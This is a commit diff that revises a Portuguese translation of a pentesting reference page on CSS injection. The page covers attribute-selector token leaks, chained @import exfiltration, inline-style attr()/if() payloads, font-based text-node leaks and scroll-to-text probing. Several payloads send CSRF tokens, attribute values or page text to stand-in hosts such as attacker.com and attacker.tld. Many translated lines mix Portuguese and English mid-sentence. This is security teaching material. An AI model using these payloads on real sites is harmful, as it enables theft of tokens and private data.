Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

This commit is contained in:
Translator 2025-08-29 00:17:40 +00:00
parent 18b89913d6
commit fc16b0cb78

View File

@ -6,7 +6,7 @@
### Seletor de Atributo
Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo value do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:
Seletores CSS são criados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo `value` do elemento `input` começar com um caractere específico, um recurso externo predefinido é carregado:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (`type="hidden"`) porque elementos ocultos não carregam fundos.
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (`type="hidden"`), pois elementos ocultos não carregam imagens de fundo.
#### Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Um exemplo prático de exploração dessa técnica está detalhado no snippet de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Pré-requisitos para Injeção de CSS
#### Pré-requisitos para CSS Injection
Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:
Para que a técnica CSS Injection seja eficaz, certas condições devem ser atendidas:
1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores elaborados.
2. **Reavaliação de CSS**: Você deve ter a capacidade de emoldurar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
3. **Recursos Externos**: A técnica assume a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.
1. **Payload Length**: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.
2. **CSS Re-evaluation**: Você deve ter a capacidade de embeber a página em um frame/iframe, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
3. **External Resources**: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site.
### Seletor de Atributo Cego
### Blind Attribute Selector
Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS.\
Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:
Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos 'blind'. Isso é muito útil quando você não tem ideia do que há dentro da página web que está carregando a CSS Injection.\
Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +52,95 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muita **informação usando CSS injection a partir de páginas blind com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção CSS**.
A técnica anterior tem algumas desvantagens, confira os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável a CSS injection**.
No entanto, outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
No entanto, existe outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
Isto foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
Em vez de carregar a mesma página repetidamente com dezenas de diferentes payloads a cada vez (como na anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a ser enviado para a vítima):
Em vez de carregar a mesma página repetidas vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a enviar para a vítima):
```css
@import url("//attacker.com:5001/start?");
```
1. A importação vai **receber algum script CSS** dos atacantes e o **navegador irá carregá-lo**.
2. A primeira parte do script CSS que o atacante enviará é **outra `@import` para o servidor dos atacantes novamente.**
1. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.
3. A segunda e maior parte da carga útil será um **payload de vazamento de seletor de atributo**
1. Isso enviará ao servidor dos atacantes o **primeiro caractere do segredo e o último**
4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e último caractere do segredo**, ele **responderá à importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e depois o penúltimo**.
1. O import vai **receber some CSS script** dos atacantes e o **browser will load it**.
2. A primeira parte do CSS script que o atacante irá enviar é **another `@import` to the attackers server again.**
1. O attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
3. A segunda e maior parte do payload é going to be an **attribute selector leakage payload**
1. This will send to the attackers server the **first char of the secret and the last one**
4. Uma vez que o attackers server has received the **first and last char of the secret**, ele irá **respond the import requested in the step 2**.
1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
O atacante **seguirá esse loop até conseguir vazar completamente o segredo**.
O atacante irá s**eguir esse loop até conseguir leak completamente o segredo**.
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](#css-injection)
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!NOTE]
> O script tentará descobrir 2 caracteres a cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:
> [!TIP]
> O script tentará descobrir 2 chars cada vez (do começo e do fim) porque o attribute selector allows to do things like:
>
> ```css
> /* value^= para corresponder ao início do valor*/
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= para corresponder ao final do valor*/
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Isso permite que o script vaze o segredo mais rapidamente.
> This allows the script to leak the secret faster.
> [!WARNING]
> Às vezes, o script **não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa** e continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento ficará travado.\
> Não se preocupe, apenas verifique a **saída** porque **você pode ver a flag lá**.
> Às vezes o script **não detecta corretamente que o prefix + suffix discovered is already the complete flag** e ele continuará forwards (no prefix) e backwards (no suffix) e em algum ponto irá hang.\
> Sem problemas, apenas verifique a **output** porque **você pode ver a flag lá**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> Comparisons de igualdade em if() requerem aspas duplas para literais de string. Aspas simples não irão corresponder.
- Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes).
- Read: copiar o atributo para uma variável CSS: `--val: attr(title)`.
- Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: aplicar `background: image-set(var(--steal))` (ou qualquer fetching property) para forçar uma requisição ao endpoint escolhido.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
Payload funcional (aspas duplas obrigatórias na comparação):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
Enumerando valores de atributos com condicionais aninhados:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Demonstração realista (sondando nomes de usuário):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Notas e limitações:
- Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
- Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, nomes de usuário curtos). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador.
- Qualquer propriedade CSS que busque uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).
Automação: uma Burp Custom Action pode gerar payloads inline-style aninhados para brute-forcear valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Outros seletores
Outras maneiras de acessar partes do DOM com **seletores CSS**:
Outras formas de acessar partes do DOM com **CSS selectors**:
- **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
- **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`.class-to-search:nth-child(2)`**: Isso irá procurar o segundo item com a classe "class-to-search" no DOM.
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
}
```
### XS-Search baseado em erro
### Error based XS-Search
**Referência:** [Ataque baseado em CSS: Abusando unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Referência:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
A intenção geral é **usar uma fonte personalizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com esta fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
A intenção geral é **usar uma fonte customizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (`favicon.ico`) não puder ser carregado**.
```html
<!DOCTYPE html>
<html>
@ -141,46 +177,46 @@ font-family: "poc";
1. **Uso de Fonte Personalizada**:
- Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `<style>` na seção `<head>`.
- A fonte é nomeada `poc` e é buscada de um endpoint externo (`http://attacker.com/?leak`).
- A fonte é chamada `poc` e é buscada de um endpoint externo (`http://attacker.com/?leak`).
- A propriedade `unicode-range` é definida como `U+0041`, direcionando o caractere Unicode específico 'A'.
2. **Elemento Object com Texto de Reposição**:
2. **Elemento <object> com Texto de Fallback**:
- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
- A `font-family` para este elemento é definida como `'poc'`, conforme definido na seção `<style>`.
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reposição (a letra 'A') dentro da tag `<object>` é exibido.
- O conteúdo de reposição ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
- O `font-family` deste elemento é definido como `'poc'`, conforme definido na seção `<style>`.
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de fallback (a letra 'A') dentro da tag `<object>` será exibido.
- O conteúdo de fallback ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
### Estilizando Fragmento de Texto para Rolagem
### Estilizando o Scroll-to-Text Fragment
A **`:target`** pseudo-classe é empregada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
A pseudo-classe **`:target`** é usada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado em [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente alvo do fragmento.
Uma preocupação de segurança surge quando atacantes exploram o recurso **Scroll-to-text**, permitindo que confirmem a presença de texto específico em uma página da web ao carregar um recurso de seu servidor através da injeção de HTML. O método envolve injetar uma regra CSS como esta:
Uma preocupação de segurança surge quando atacantes exploram o recurso **Scroll-to-text**, permitindo que confirmem a presença de texto específico em uma página da web carregando um recurso do seu servidor através de HTML injection. O método envolve injetar uma regra CSS como esta:
```css
:target::before {
content: url(target.png);
}
```
Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância deste ataque pode ser executada através de uma URL especialmente elaborada que incorpora o CSS injetado juntamente com um fragmento Scroll-to-text:
Nesses cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente construída que incorpora o CSS injetado juntamente com um Scroll-to-text fragment:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrator" através do fragmento Scroll-to-text (`#:~:text=Administrator`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença para o atacante.
Aqui, o ataque manipula injeção HTML para transmitir o código CSS, visando o texto específico "Administrator" através do Scroll-to-text fragment (`#:~:text=Administrator`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
Para mitigação, os seguintes pontos devem ser observados:
Para mitigação, devem ser observados os seguintes pontos:
1. **Correspondência STTF Constrangida**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
2. **Restrição a Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas através de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) é projetado para corresponder apenas palavras ou frases, limitando assim sua capacidade de leakar segredos arbitrários ou tokens.
2. **Restriction to Top-level Browsing Contexts**: STTF opera exclusivamente em top-level browsing contexts e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível ao usuário.
3. **Necessity of User Activation**: STTF requer um user-activation gesture para operar, o que significa que explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de que ataques sejam automatizados sem interação do usuário. Ainda assim, o autor do blog aponta condições específicas e bypasses (por exemplo, social engineering, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
A conscientização sobre esses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias como essas.
Estar ciente desses mecanismos e de potenciais vulnerabilidades é fundamental para manter a segurança web e proteger-se contra tais táticas exploratórias.
Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Você pode conferir um [**exploit usando essa técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Você pode especificar **fontes externas para valores unicode específicos** que serão **coletados apenas se esses valores unicode estiverem presentes** na página. Por exemplo:
Você pode especificar **fontes externas para valores unicode específicos** que só serão **carregadas se esses valores unicode estiverem presentes** na página. Por exemplo:
```html
<style>
@font-face {
@ -206,25 +242,25 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de sensitive-information contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Exfiltração de nó de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referência:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
A técnica descrita envolve a extração de texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:
A técnica descrita envolve extrair texto de um nó explorando font ligatures e monitorando mudanças na largura. O processo envolve vários passos:
1. **Criação de Fontes Personalizadas**:
1. **Creation of Custom Fonts**:
- Fontes SVG são criadas com glifos que têm um atributo `horiz-adv-x`, que define uma largura grande para um glifo representando uma sequência de dois caracteres.
- Exemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, onde "XY" denota uma sequência de dois caracteres.
- Essas fontes são então convertidas para o formato woff usando fontforge.
- SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
- These fonts are then converted to woff format using fontforge.
2. **Detecção de Mudanças de Largura**:
2. **Detection of Width Changes**:
- CSS é usado para garantir que o texto não quebre (`white-space: nowrap`) e para personalizar o estilo da barra de rolagem.
- A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.
- O CSS envolvido:
- CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
- The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
- The CSS involved:
```css
body {
white-space: nowrap;
@ -237,28 +273,28 @@ background: url(http://attacker.com/?leak);
}
```
3. **Processo de Exploração**:
3. **Exploit Process**:
- **Passo 1**: Fontes são criadas para pares de caracteres com largura substancial.
- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de grande largura (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- **Passo 3**: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
- **Passo 4**: A detecção da ligadura de três caracteres é realizada.
- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
- **Step 1**: Fonts are created for pairs of characters with substantial width.
- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
- **Step 4**: Detection of the three-character ligature is carried out.
- **Step 5**: The process repeats, progressively revealing the entire text.
4. **Otimização**:
- O método de inicialização atual usando `<meta refresh=...` não é otimizado.
- Uma abordagem mais eficiente poderia envolver o truque CSS `@import`, melhorando o desempenho da exploração.
4. **Optimization**:
- The current initialization method using `<meta refresh=...` is not optimal.
- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
### Exfiltração de nó de texto (II): vazando o charset com uma fonte padrão (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Esse truque foi lançado neste [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). O charset usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: nenhuma fonte externa -ou personalizada- é necessária.
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
O conceito gira em torno da utilização de uma animação para expandir gradualmente a largura de um `div`, permitindo que um caractere de cada vez transite da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo efetivamente divide o texto em duas seções:
O conceito gira em torno de utilizar uma animação para expandir incrementalmente a largura de uma `div`, permitindo que um caractere por vez transite da parte 'suffix' do texto para a parte 'prefix'. Esse processo efetivamente divide o texto em duas seções:
1. **Prefixo**: A linha inicial.
2. **Sufixo**: A(s) linha(s) subsequente(s).
1. Prefix: a linha inicial.
2. Suffix: as linhas subsequentes.
As etapas de transição dos caracteres apareceriam da seguinte forma:
@ -273,15 +309,15 @@ B
**CADB**
Durante essa transição, o **truque unicode-range** é empregado para identificar cada novo caractere à medida que se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta do que a fonte padrão, acionando assim uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
Durante essa transição, o **unicode-range trick** é empregado para identificar cada novo caractere conforme ele entra no prefix. Isso é conseguido trocando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, acionando consequentemente uma scrollbar vertical. O aparecimento dessa scrollbar revela indiretamente a presença de um novo caractere no prefix.
Embora esse método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
Embora este método permita a detecção de caracteres únicos conforme aparecem, ele não especifica qual caractere está repetido, apenas que uma repetição ocorreu.
> [!NOTE]
> Basicamente, o **unicode-range é usado para detectar um char**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
> Quando o **char** é **encontrado**, ele é **dado** a fonte **Comic Sans** pré-instalada, que **torna** o char **maior** e **aciona uma barra de rolagem** que irá **vazar o char encontrado**.
> [!TIP]
> Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
> Quando o **caractere** é **encontrado**, ele recebe a fonte pré-instalada **Comic Sans**, que o torna **maior** e aciona uma scrollbar que vai **leak o caractere encontrado**.
Verifique o código extraído do PoC:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao ocultar elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é ocultar algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
Este caso é muito semelhante ao anterior, porém, neste caso o objetivo de fazer **caracteres maiores que outros para esconder algo** é, por exemplo, ocultar um botão para que não seja pressionado pelo bot ou uma imagem que não será carregada. Assim, podemos medir a ação (ou a falta dela) e saber se um caractere específico está presente no texto.
### Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, poderíamos tentar vazar se um char está no texto carregando uma fonte falsa da mesma origem:
Neste caso, poderíamos tentar leak se um char está no texto carregando uma fonte falsa da mesma origem:
```css
@font-face {
font-family: "A1";
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não carregue com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, existe um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo se não houver cache, existe o mecanismo **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
No entanto, se a diferença de tempo da resposta em cache em relação à não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
No entanto, se a diferença de tempo entre a resposta em cache e a sem cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente cuidadoso.
### Exfiltração de nó de texto (III): vazando o charset ao carregar centenas de "fontes" locais (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
